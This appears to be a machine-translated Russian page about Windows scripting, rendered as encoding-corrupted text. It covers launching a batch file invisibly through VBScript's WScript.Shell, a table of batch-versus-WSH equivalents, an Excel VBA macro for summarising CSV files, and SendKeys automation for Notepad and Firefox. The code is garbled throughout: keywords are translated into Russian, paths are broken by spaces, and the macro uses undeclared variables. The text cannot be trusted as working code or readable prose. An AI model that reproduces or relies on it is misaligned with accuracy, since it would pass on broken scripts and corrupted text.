ΠΎΠ΄ΠΈΠ½ ΡΠ°Π· Π² ΡΠ°ΠΉΠ» Π±Π»ΠΎΠΊΠ½ΠΎΡΠ° Ρ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ΠΌ .bat, ΡΡΠΎΠ±Ρ ΡΡΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Π²ΡΠΏΠΎΠ»Π½ΡΠ»ΠΈΡΡ Π² ΡΠΎΠ±ΡΠ°Π½Π½ΠΎΠΌ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΠΎΠΌ ΠΏΠΎΡΡΠ΄ΠΊΠ΅.
ΠΠ΅Π²ΠΈΠ΄ΠΈΠΌΡΠΉ Π·Π°ΠΏΡΡΠΊ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π°
ΠΡΡΡ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΡΠΏΠΎΡΠΎΠ±ΠΎΠ² Π΄ΠΎΠ±ΠΈΡΡΡΡ ΡΡΠΎΠ³ΠΎ, Π½ΠΎ ΡΠ°ΠΌΡΠΉ ΡΠ΄ΠΎΠ±Π½ΡΠΉ — Π½Π°ΠΏΠΈΡΠ°ΡΡ Π²ΠΈΠ·ΡΠ°Π»ΡΠ½ΡΠΉ Π±Π°Π·ΠΎΠ²ΡΠΉ ΡΡΠ΅Π½Π°ΡΠΈΠΉ Π΄Π»Ρ Π·Π°ΠΏΡΡΠΊΠ° Π²Π°ΡΠ΅Π³ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π° (Π½Π°ΠΏΠΈΡΠ°Π½ΠΈΠ΅ ΡΡΠ΅Π½Π°ΡΠΈΡ Π΄Π»Ρ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΠ³ΠΎ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ Π΄ΡΡΠ³ΠΎΠ³ΠΎ ΡΡΠ΅Π½Π°ΡΠΈΡ) Π² ΡΠΊΡΡΡΠΎΠΌ ΡΠ΅ΠΆΠΈΠΌΠ΅.
- Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ WshShell = CreateObject («WScript.Shell»)
- WshShell.Run chr (34) & «C: \ Users \ Foobar \ Machines \ ML \ StartMLStudio.bat» & Chr (34), 0
- Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ WshShell = ΠΠΈΡΠ΅Π³ΠΎ
ΠΠ΅ΡΠ²Π°Ρ ΡΡΡΠΎΠΊΠ° Π·Π°ΠΏΡΡΡΠΈΡ ΠΏΡΠΎΡΠ΅ΡΡ ΠΎΠ±ΠΎΠ»ΠΎΡΠΊΠΈ ΠΎΠΊΠ½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ, Π² ΠΊΠΎΡΠΎΡΠΎΠΌ Π²Ρ Π±ΡΠ΄Π΅ΡΠ΅ Π·Π°ΠΏΡΡΠΊΠ°ΡΡ Π΄Π°Π»ΡΠ½Π΅ΠΉΡΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ, Π·Π°ΡΠ΅ΠΌ ΠΌΡ ΡΡΡΠ°Π½ΠΎΠ²ΠΈΠ»ΠΈ Π½Π°Π±ΠΎΡ ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ² Π΄Π»Ρ ΡΠ΅ΠΊΡΡΠΎΠ²ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ ΠΈ, Π½Π°ΠΊΠΎΠ½Π΅Ρ, ΠΌΡ ΡΠΊΠ°Π·Π°Π»ΠΈ ΠΏΡΡΡ ΠΊ ΡΠΊΡΡΡΠΎΠΌΡ ΠΏΠ°ΠΊΠ΅ΡΠ½ΠΎΠΌΡ ΡΠ°ΠΉΠ»Ρ, ΠΊΠΎΡΠΎΡΡΠΉ ΠΌΡ Ρ
ΠΎΡΠΈΠΌ Π·Π°ΠΏΡΡΡΠΈΡΡ.
Π‘ΠΊΠΎΠΏΠΈΡΡΠΉΡΠ΅ ΠΊΠΎΠ΄, ΠΈΠ·ΠΌΠ΅Π½ΠΈΡΠ΅ ΠΏΡΡΡ, ΡΠΎΡ ΡΠ°Π½ΠΈΡΠ΅ ΡΠ°ΠΉΠ» Ρ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ΠΌ.vbs Π΄Π»Ρ Π·Π°ΠΏΡΡΠΊΠ° ΡΠΊΡΡΡΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡΡ ΡΠ°ΠΉΠ»ΠΎΠ², ΡΠΎΠ΄Π΅ΡΠΆΠ°ΡΠΈΡ ΡΡ Π² ΡΡΠ΅Π½Π°ΡΠΈΠΈ, ΠΈ Π½Π°ΡΠ»Π°ΠΆΠ΄Π°ΠΉΡΠ΅ΡΡ.
ΠΡΠΈΠΌΠ΅ΡΠ°Π½ΠΈΠ΅
Π― ΠΏΡΠ΅Π΄ΠΏΠΎΡΠΈΡΠ°Ρ ΠΏΠΎΠΌΠ΅ΡΡΠΈΡΡ ΡΡΠΎΡ ΡΠ°ΠΉΠ» hiderunningbatchscript.bat Π² ΡΠΎΡ ΠΆΠ΅ ΠΊΠ°ΡΠ°Π»ΠΎΠ³, Π³Π΄Π΅ Π²Ρ ΡΠ°Π·ΠΌΠ΅ΡΡΠΈΠ»ΠΈ ΡΠ°ΠΌ ΡΠ°ΠΉΠ» batch.bat, ΡΡΠΎ Π½Π΅ ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΠΎ Π²ΠΎ Π²ΡΠ΅Ρ
ΡΠ»ΡΡΠ°ΡΡ
, Π½ΠΎ Π² Π½Π΅ΠΊΠΎΡΠΎΡΡΡ
ΡΡΠ΅Π΄Π°Ρ
ΠΎΠ½ Π½Π΅ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ, Π΅ΡΠ»ΠΈ ΠΎΡΡΠ°Π²ΠΈΡΡ Π³Π΄Π΅-ΡΠΎ ΠΎΡΠ΄Π΅Π»ΡΠ½ΠΎ.
Π’ΠΠΠΠΠ¦Π 1. ΠΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΡ WSH Π΄Π»Ρ ΠΊΠΎΠΌΠ°Π½Π΄ ΠΏΠ°ΠΊΠ΅ΡΠ½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π° | ||
ΠΡ
ΠΎΠ΄ Π² ΡΠΈΡΡΠ΅ΠΌΡ ΠΠ°Π΄Π°ΡΠ° ΡΡΠ΅Π½Π°ΡΠΈΡ | Π Π΅ΡΠ΅Π½ΠΈΠ΅ Π΄Π»Ρ ΠΏΠ°ΠΊΠ΅ΡΠ½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π° | Π Π΅ΡΠ΅Π½ΠΈΠ΅ WSH |
ΠΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π° ΠΈ Π΄ΠΈΡΠΊΠΎΠ²ΠΎΠ³ΠΎ ΠΏΡΠΎΡΡΡΠ°Π½ΡΡΠ²Π° | Π Π΅ΡΡΡΡΠ½ΡΠΉ ΠΊΠΎΠΌΠΏΠ»Π΅ΠΊΡ ΡΡΠΈΠ»ΠΈΡ diruse.![]() | ΠΠ±ΡΠ΅ΠΊΡ FileSystemObject VBScript |
ΠΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΡΠ°ΠΉΠ»ΠΎΠ²ΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π°-Π²ΡΠ²ΠΎΠ΄Π° | Π‘ΠΈΠΌΠ²ΠΎΠ»Ρ ΠΏΠ΅ΡΠ΅Π½Π°ΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ ΠΊΠΎΠΌΠ°Π½Π΄ (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ,>, >>, <, |) ΠΈ ΡΠΈΠ»ΡΡΡΡ ΠΊΠΎΠΌΠ°Π½Π΄ (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π½Π°ΠΉΡΠΈ, Π΅ΡΠ΅, ΡΠΎΡΡΠΈΡΠΎΠ²Π°ΡΡ) | ΠΠ±ΡΠ΅ΠΊΡ FileSystemObject VBScript |
ΠΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ ΡΡΠ΅Π΄Ρ | ΠΠΎΠΌΠ°Π½Π΄Π° Set ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠ³ΠΎ ΠΏΡΠΎΡΠ΅ΡΡΠΎΡΠ° ΠΈ ΠΊΠΎΠ½ΡΡΡΡΠΊΡΠΈΡ% EnvironmentVariable% | Π‘Π²ΠΎΠΉΡΡΠ²ΠΎ Environment ΠΎΠ±ΡΠ΅ΠΊΡΠ° ΠΎΠ±ΠΎΠ»ΠΎΡΠΊΠΈ WSH |
ΠΠ±ΡΠ°Π±ΠΎΡΠΊΠ° ΠΎΡΠΈΠ±ΠΎΠΊ | ERRORLEVEL ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ ΡΡΠ΅Π΄Ρ | ΠΠ±ΡΠ΅ΠΊΡ Err VBScript |
ΠΡΠΈΠ½ΡΡΠΈΠ΅ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»ΡΡΠΊΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π° | ΠΡΠ³ΡΠΌΠ΅Π½ΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ, ΠΊ ΠΊΠΎΡΠΎΡΡΠΌ ΡΡΠ΅Π½Π°ΡΠΈΠΉ ΠΎΠ±ΡΠ°ΡΠ°Π΅ΡΡΡ ΡΠ΅ΡΠ΅Π·% 1,% 2,% 3 ΠΈ Ρ. Π. | ΠΡΠ³ΡΠΌΠ΅Π½ΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ, ΠΊ ΠΊΠΎΡΠΎΡΡΠΌ ΡΡΠ΅Π½Π°ΡΠΈΠΉ ΠΎΠ±ΡΠ°ΡΠ°Π΅ΡΡΡ ΡΠ΅ΡΠ΅Π· ΡΠ²ΠΎΠΉΡΡΠ²ΠΎ Arguments WScript, ΠΈΠ»ΠΈ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΡ, ΠΊΠΎΡΠΎΡΡΠ΅ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ Π²Π²ΠΎΠ΄ΠΈΡ ΠΈΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΠ²Π½ΠΎ, Π° ΡΡΠ΅Π½Π°ΡΠΈΠΉ ΠΏΠΎΠ»ΡΡΠ°Π΅Ρ Π΄ΠΎΡΡΡΠΏ ΡΠ΅ΡΠ΅Π· ΡΡΠ½ΠΊΡΠΈΡ InputBox VBScript |
ΠΠ±Π΅ΡΠΏΠ΅ΡΠ΅Π½ΠΈΠ΅ Π²ΡΠ²ΠΎΠ΄Π° ΡΡΠ΅Π½Π°ΡΠΈΡ | ΠΠΎΠΌΠ°Π½Π΄Π° Echo ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠ³ΠΎ ΠΏΡΠΎΡΠ΅ΡΡΠΎΡΠ° | ΠΠ΅ΡΠΎΠ΄ Echo WScript, ΠΌΠ΅ΡΠΎΠ΄ Popup ΠΎΠ±ΡΠ΅ΠΊΡΠ° WSH Shell ΠΈΠ»ΠΈ ΡΡΠ½ΠΊΡΠΈΡ MsgBox VBScript |
Π£ΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ ΡΠ΅ΡΠ΅Π²ΡΡ ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠ΅Π½ΠΈΠΉ | ΠΠΎΠΌΠ°Π½Π΄Ρ net.![]() | Π‘Π΅ΡΠ΅Π²ΠΎΠΉ ΠΎΠ±ΡΠ΅ΠΊΡ WSH |
ΠΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π²Π²ΠΎΠ΄Π°-Π²ΡΠ²ΠΎΠ΄Π° ΡΠ΅Π΅ΡΡΡΠ° | Π Π΅ΡΡΡΡΠ½ΡΠΉ ΠΊΠΎΠΌΠΏΠ»Π΅ΠΊΡ, ΡΡΠΈΠ»ΠΈΡΠ° ΡΠ΅Π³.exe | ΠΠ΅ΡΠΎΠ΄Ρ RegDelete, RegRead ΠΈ RegWrite ΠΎΠ±ΡΠ΅ΠΊΡΠ° WSH Shell |
ΠΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π²Π½Π΅ΡΠ½ΠΈΡ ΠΊΠΎΠΌΠ°Π½Π΄ | ΠΠΌΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ ΠΈΠ»ΠΈ ΡΡΠΈΠ»ΠΈΡΡ | ΠΠ΅ΡΠΎΠ΄ Run ΠΎΠ±ΡΠ΅ΠΊΡΠ° WSH Shell |
ΠΠΎΠΈΡΠΊ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ | Π‘ΠΈΠΌΠ²ΠΎΠ»Ρ ΠΏΠ΅ΡΠ΅Π½Π°ΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ ΠΊΠΎΠΌΠ°Π½Π΄ (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, <, |) ΠΈ ΡΠΈΠ»ΡΡΡΡ ΠΊΠΎΠΌΠ°Π½Π΄ (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, find, findstr) | ΠΡΠ΅Π΄ΡΡΠΎΡΡΠΈΠΉ ΠΎΠ±ΡΠ΅ΠΊΡ VBScript RegExp |
Π£ΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠ΅ Π³ΡΡΠΏΠΏΠ°ΠΌΠΈ ΠΈ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»ΡΠΌΠΈ | NT ΡΠ΅ΡΡ.ΠΊΠΎΠΌΠ°Π½Π΄Ρ exe ΠΈ ΡΠ°Π·Π»ΠΈΡΠ½ΡΠ΅ ΠΊΠΎΠΌΠΏΠ»Π΅ΠΊΡΡ ΡΠ΅ΡΡΡΡΠΎΠ² ΠΈ ΡΡΠΎΡΠΎΠ½Π½ΠΈΠ΅ ΡΡΠΈΠ»ΠΈΡΡ | ADSI |
ΠΠ°ΠΊ ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΠΎ Π·Π°ΠΊΡΡΡΡ ΡΠ°ΠΉΠ»Ρ VBA, VBS ΠΈ BAT Π΄Π»Ρ ΠΏΡΠ΅Π΄ΠΎΡΠ²ΡΠ°ΡΠ΅Π½ΠΈΡ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ Β«.xlsm Π·Π°Π±Π»ΠΎΠΊΠΈΡΠΎΠ²Π°Π½ Π΄Π»Ρ ΡΠ΅Π΄Π°ΠΊΡΠΈΡΠΎΠ²Π°Π½ΠΈΡΒ»?
ΠΠΎΠ΄ΠΏΡΠΎΡΠ΅ΡΡDrillDataCSV ()
Dim wbScript ΠΊΠ°ΠΊ ΡΠ°Π±ΠΎΡΠ°Ρ ΠΊΠ½ΠΈΠ³Π°
'ΠΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ Π΄Π»Ρ Ρ
ΡΠ°Π½Π΅Π½ΠΈΡ ΠΈΡΡ
ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π° ΠΊΠ½ΠΈΠ³ΠΈ
Dim wbΠΡΠΊΡΡΡΡ ΠΊΠ°ΠΊ ΠΊΠ½ΠΈΠ³Ρ
'ΠΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ Π΄Π»Ρ Ρ
ΡΠ°Π½Π΅Π½ΠΈΡ ΠΊΠΎΠ½Π΅ΡΠ½ΠΎΠ³ΠΎ Π²ΡΠ²ΠΎΠ΄Π° Π€Π°ΠΉΠ» ΡΠ°Π±ΠΎΡΠ΅ΠΉ ΠΊΠ½ΠΈΠ³ΠΈ Π΄Π»Ρ Π²ΡΠ΅ΠΉ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ
Dim wbNew As Workbook
'ΠΠΊΠ»ΡΡΠΈΡΠ΅ ΠΌΠ½ΠΎΠ³ΠΎΠΏΠΎΡΠΎΡΠ½ΠΎΡΡΡ
Application.
MultiThreadedCalculation.ΠΠΊΠ»ΡΡΠ΅Π½ΠΎ = ΠΡΡΠΈΠ½Π°
Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΡΠ΅ wbScript = ActiveWorkbook
'ΠΠ΅ΡΠ΅ΠΉΡΠΈ Π² ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΡΡΡΠΈΠΉ ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Ρ ΡΠ°ΠΉΠ»Π°ΠΌΠΈ
ChDir strPath
'Π‘ΠΏΠΈΡΠΎΠΊ Π²ΡΠ΅Ρ
ΡΠ°ΠΉΠ»ΠΎΠ² CSV Π² ΠΏΠ°ΠΏΠΊΠ΅ ΡΠ΅ΠΊΡΡΠ΅Π³ΠΎ ΠΏΡΡΠΈ
strExtension = Dir ("*. csv")
'Π‘ΠΎΠ·Π΄Π°ΠΉΡΠ΅ Π½ΠΎΠ²ΡΡ ΠΊΠ½ΠΈΠ³Ρ Π΄Π»Ρ Ρ
ΡΠ°Π½Π΅Π½ΠΈΡ Π²ΡΠ΅ΠΉ ΡΡΠ°ΡΠΈΡΡΠΈΡΠ΅ΡΠΊΠΎΠΉ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ ΠΈ Π΄ΠΈΠ°Π³ΡΠ°ΠΌΠΌ
Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΡΠ΅ wbNew = Workbooks.Add (1)
'ΠΠ·ΠΌΠ΅Π½ΠΈΡΡ ΠΏΡΡΡ, ΠΈΠΌΡ ΠΈ ΡΠΎΡΠΌΠ°Ρ ΡΠ°ΠΉΠ»Π° Π½Π° ΠΊΠ½ΠΈΠ³Ρ XLSM Excel Ρ ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΊΠΎΠΉ ΠΌΠ°ΠΊΡΠΎΡΠΎΠ²
wbNew.SaveAs fileName: = Format (DateTime.Now, Β«Π³Π³Π³Π³ΠΠΠ΄Π΄ ΡΡ-ΠΌΠΌ-ΡΡΒ») & Β«ΠΠ°Π½Π΅Π»Ρ Π²ΡΠ²ΠΎΠ΄Π°Β», FileFormat: = xlOpenXMLWorkbookMacroEnabled
'ΠΡΠ½ΠΎΠ²Π½ΠΎΠΉ ΡΠΈΠΊΠ» ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ ΡΠ°ΠΉΠ»ΠΎΠ²
Π‘Π΄Π΅Π»Π°ΡΡ ΠΏΠΎΠΊΠ° strExtension <> ""
Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΡΠ΅ wbOpen = Workbooks.ΠΡΠΊΡΡΡΡ (strPath & "\" & strExtension)
Π‘ wbOpen
Π€ΠΎΡΠΌΠ°Ρ Π·Π²ΠΎΠ½ΠΊΠ°
ΠΡΠ·ΠΎΠ² FindExtremeValues ββ(fileCount, Sheets (1) .Name, wbNew, wbOpen, wbScript)
ΠΡΠ·ΠΎΠ² FindStatValues ββ(fileCount, wbOpen.Sheets (1) .Name, wbNew, wbOpen, wbScript)
.Close SaveChanges: = False.
ΠΠΎΠ½Π΅Ρ Ρ
'ΠΠ΅ΡΠ΅ΠΉΡΠΈ ΠΊ ΡΠ»Π΅Π΄ΡΡΡΠ΅ΠΌΡ CSV-ΡΠ°ΠΉΠ»Ρ Π² ΡΠΏΠΈΡΠΊΠ΅
strExtension = Dir
ΠΠ΅ΡΠ»Ρ
'Π‘Π΄Π΅Π»Π°ΠΉΡΠ΅ Π»ΠΈΡΡ "ΠΡΡ ΡΡΠ°ΡΠΈΡΡΠΈΠΊΠ°" Π°ΠΊΡΠΈΠ²Π½ΡΠΌ.
Π’Π°Π±Π»ΠΈΡΡ (Β«ΠΡΡ ΡΡΠ°ΡΠΈΡΡΠΈΠΊΠ°Β»).ΠΠΊΡΠΈΠ²ΠΈΡΠΎΠ²Π°ΡΡ
'Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ Π²ΡΠ΄Π΅Π»Π΅Π½ΠΈΠ΅ Π² ΡΡΠ΅ΠΉΠΊΡ A1, ΡΡΠΎΠ±Ρ Π²Π΅ΡΡ
Π½ΠΈΠΉ Π»Π΅Π²ΡΠΉ ΡΠ³ΠΎΠ» Π»ΠΈΡΡΠ° Π±ΡΠ» Π½Π°ΡΡΡΠΎΠ΅Π½ Π΄Π»Ρ ΠΏΡΠΎΡΠΌΠΎΡΡΠ°
ΠΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ ("A1"). ΠΡΠ±Π΅ΡΠΈΡΠ΅
'ΠΠΎΠ²ΡΠΎΡΠ½ΠΎ Π²ΠΊΠ»ΡΡΠΈΡΡ ΠΎΠΏΠΎΠ²Π΅ΡΠ΅Π½ΠΈΡ
Application.DisplayAlerts = True
'Π‘ΠΎΡ
ΡΠ°Π½ΠΈΡΠ΅ ΡΠ°ΠΉΠ» Ρ ΡΠ΅ΠΊΡΡΠΈΠΌ ΠΎΡΠΊΡΡΡΡΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ
wbNew.Save
'ΠΠ°ΠΊΡΠΎΠΉΡΠ΅ ΡΠ°ΠΌ ΡΠ°ΠΉΠ» ΡΡΠ΅Π½Π°ΡΠΈΡ, Π½Π΅ ΡΠΎΡ
ΡΠ°Π½ΡΡ
wbScript.Close (ΠΠΎΠΆΡ)
Application.ScreenUpdating = True
Application.Calculation = xlCalculationAutomatic
ΠΡΠΈ ΠΎΡΠΈΠ±ΠΊΠ΅ GoTo 0
ΠΠΎΠ½ΡΠ΅Π²ΠΎΠΉ ΠΏΠ΅ΡΠ΅Π²ΠΎΠ΄Π½ΠΈΠΊ
ΠΠ²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΎΠ΅ Π½Π°ΠΆΠ°ΡΠΈΠ΅ Π»ΡΠ±ΠΎΠΉ ΠΊΠ»Π°Π²ΠΈΡΠΈ Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ ΠΏΠ°ΠΊΠ΅ΡΠ½ΠΎΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ ΠΏΡΡΠ΅ΠΌ ΠΎΡΠΊΡΡΡΠΈΡ ΡΡΡΠ΅ΡΡΠ²ΡΡΡΠ΅Π³ΠΎ Π·Π°ΠΏΡΡΠ΅Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΌ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ
ΠΠ²Π΅Π΄Π΅Π½ΠΈΠ΅
Π ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΎΠ½Π½ΠΎΠΉ ΡΠΈΡΡΠ΅ΠΌΠ΅ Windows Π»ΡΠ±Π°Ρ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ Π·Π°ΠΏΡΡΠΊΠ°ΡΡΡΡ ΡΠ΅ΡΠ΅Π· ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ.ΠΡΠΎΠΌΠ΅ ΡΠΎΠ³ΠΎ, ΠΎΡΠ΅Π½Ρ ΡΠ»ΠΎΠΆΠ½ΠΎ Π½Π°ΠΆΠ°ΡΡ Π»ΡΠ±ΡΡ ΠΊΠ»Π°Π²ΠΈΡΡ Π² ΠΏΠ°ΠΊΠ΅ΡΠ½ΠΎΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ΅. ΠΠΎ ΡΡΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΊΠΎΡΠ²Π΅Π½Π½ΠΎ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΠΏΠ°ΠΊΠ΅ΡΠ½ΠΎΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ VBScript.
Π€ΠΎΠ½
VBScript ΠΈΠΌΠ΅Π΅Ρ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΡ Π΄Π»Ρ Π½Π°ΠΆΠ°ΡΠΈΡ Π»ΡΠ±ΠΎΠΉ ΠΊΠ»Π°Π²ΠΈΡΠΈ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ Β« WshShell
Β».
ΠΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π°
ΠΡΠ΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ ΠΎΡΠΊΡΡΠ²Π°Π΅Ρ ΠΠ»ΠΎΠΊΠ½ΠΎΡ ΠΈ ΡΡΠΎ-ΡΠΎ ΠΏΠΈΡΠ΅Ρ. Π’Π΅ΠΏΠ΅ΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ Ρ ΠΎΡΠ΅Ρ ΡΠΎΡ ΡΠ°Π½ΠΈΡΡ ΡΠ°ΠΉΠ» Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΠΏΠ°ΠΊΠ΅ΡΠ½ΠΎΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ. Π ΡΡΠΎΠΉ ΡΠΈΡΡΠ°ΡΠΈΠΈ ΠΌΠΎΠΆΠ½ΠΎ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ ΡΠ»Π΅Π΄ΡΡΡΡΡ ΠΏΡΠΎΡΠ΅Π΄ΡΡΡ:
- Π‘ΠΎΠ·Π΄Π°ΠΉΡΠ΅ ΡΠ°ΠΉΠ» ΡΡΠ΅Π½Π°ΡΠΈΡ VB Ρ ΠΈΠΌΠ΅Π½Π΅ΠΌ program.s ΠΎΠ·Π½Π°ΡΠ°Π΅Ρ Β«Ctrl + sΒ».
- Π‘ΠΎΠ·Π΄Π°ΠΉΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡΠΉ ΡΠ°ΠΉΠ» Ρ ΠΈΠΌΠ΅Π½Π΅ΠΌ auto.bat , Π½Π°ΠΏΠΈΡΠΈΡΠ΅ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ ΠΊΠΎΠ΄ ΠΈ ΡΠΎΡ
ΡΠ°Π½ΠΈΡΠ΅ Π΅Π³ΠΎ:
wscript "F: \ Ict_Backup \ Desktop \ program.vbs"
- ΠΠ°ΠΏΡΡΡΠΈΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡΠΉ ΡΠ°ΠΉΠ». ΠΠ½ ΠΏΠΎΠΏΡΠΎΡΠΈΡ ΡΠΎΡ ΡΠ°Π½ΠΈΡΡ ΡΠ°ΠΉΠ».
- ΠΡΡΠ³ΠΎΠΉ ΠΏΡΠΈΠΌΠ΅Ρ: Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π·Π°ΠΏΡΡΠΊ Π±ΡΠ°ΡΠ·Π΅ΡΠ° Firefox Π² ΠΏΠΎΠ»Π½ΠΎΡΠΊΡΠ°Π½Π½ΠΎΠΌ ΡΠ΅ΠΆΠΈΠΌΠ΅ (ΡΠΏΡΡΠΈΠΉ ΡΠ΅ΠΆΠΈΠΌ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ Π΄Π»Ρ ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΡ Π·Π°ΠΏΡΡΠΊΠ° ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ Π² ΡΠΈΡΡΠ΅ΠΌΠ΅).
Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΡΠ΅ oShell = CreateObject ("WScript.
Shell") oShell.ΠΠ°ΠΏΡΡΡΠΈΡΡ ("" "C: \ Program Files \ Mozilla Firefox \ firefox.exe" "") WScript.Sleep 3000 oShell.App ΠΠΊΡΠΈΠ²ΠΈΡΡΠΉΡΠ΅ "firefox" WScript.Sleep 3000 oShell.SendKeys "~" oShell.SendKeys "{F11}"
